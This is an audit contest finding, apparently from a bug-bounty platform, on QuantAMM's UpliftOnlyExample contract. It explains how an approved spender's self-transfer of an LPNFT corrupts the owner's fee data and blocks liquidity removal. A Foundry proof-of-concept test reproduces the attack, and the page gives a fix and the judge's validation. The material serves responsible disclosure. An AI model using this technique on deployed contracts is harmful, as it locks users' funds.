QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: medium
Valid

Approved LPNFT senders can compromise approver's pool fee data

glightspeed2

Summary

Approved LPNFT senders can clear approver's pool fee data at specific index by transferring NFT from approver to approver. This will prevent approver from removing liquidity from the protocol at all.

Vulnerability Details

Root Cause

UpliftOnlyExample.afterUpdate contains the logic behind the scene when LPNFT is transferred from one user to another.

First, it finds the fee data corresponding to the token ID getting transferred:

for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}

If the fee data related to tokenID is found, it updates and transfers it to receiver's fee data:

feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
​
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);

Then, it reorders sender's fee data and pops the sender's fee data array

if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
​
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();

The vulnerability lies on the fact that feeDataArrayLength is not updated when feeDataArray == poolsFeeData[poolAddress][_to] (i.e. _from == _to). If _from == _to, feeDataArray's length is increased by one, but feeDataArrayLength remains the old value.

So delete feeDataArray[feeDataArrayLength - 1] actually clears the item at feeDataArray.length - 2 and feeDataArray.pop will remove the last item from the array. Thus, the new last item of feeDataArray will be uninitialized FeeData.

This uninitialized fee data will throw division by zero error when the user tries to remove liquidity from the protocol

localData.lpTokenDepositValueChange =
(int256(localData.lpTokenDepositValueNow) - int256(localData.lpTokenDepositValue)) /
int256(localData.lpTokenDepositValue); // lpTokenDepositValue is zero

PoC

Consider the following scenario:

  • bob added some liquidity and get two LPNFTs

  • bob approves alice to spend one of his new minted LPNFTs

  • alice mischivaeously transfers the token from bob to bob, instead of spending it

  • now bob wants to remove the remaining liquidity but he couldn't due to zero division error

You can put the following code snippet to UpliftExample.t.sol

function testTransferSelf() public {
LPNFT lpNft = upliftOnlyRouter.lpNFT();
// bob deposits and mint two LPNFTs
vm.startPrank(bob);
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount / 2, false, bytes(""));
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount / 2, false, bytes(""));
// bob approves token 1 to alice
lpNft.approve(alice, 1);
vm.stopPrank();
​
// alice attacks by doing seemingly no-op transfer
vm.startPrank(alice);
lpNft.transferFrom(bob, bob, 1);
vm.stopPrank();
​
UpliftOnlyExample.FeeData[] memory feeData = upliftOnlyRouter.getUserPoolFeeData(pool, bob);
vm.assertEq(feeData.length, 2);
// bob's last fee data is compromised
vm.assertEq(feeData[1].tokenID, 0);
vm.assertEq(feeData[1].amount, 0);
vm.assertEq(feeData[1].lpTokenDepositValue, 0);
vm.assertEq(feeData[1].blockTimestampDeposit, 0);
vm.assertEq(feeData[1].upliftFeeBps, 0);
​
// bob cannot remove any liquidity due to division by zero error
vm.startPrank(bob);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.expectRevert(stdError.divisionError);
upliftOnlyRouter.removeLiquidityProportional(bptAmount / 2, minAmountsOut, false, pool);
vm.stopPrank();
}

Impact

  • Invalid state of the protocol

  • User cannot remove liquidity from the protocol

Tools Used

Foundry

Recommendations

Prevent no-op transfer in LPNFT._update function. i.e. check if previousOwner == to

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_erase_self_transfer

Likelihood: Low, when users wants to transfer tokens they already own to themselves. Impact: High, funds loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!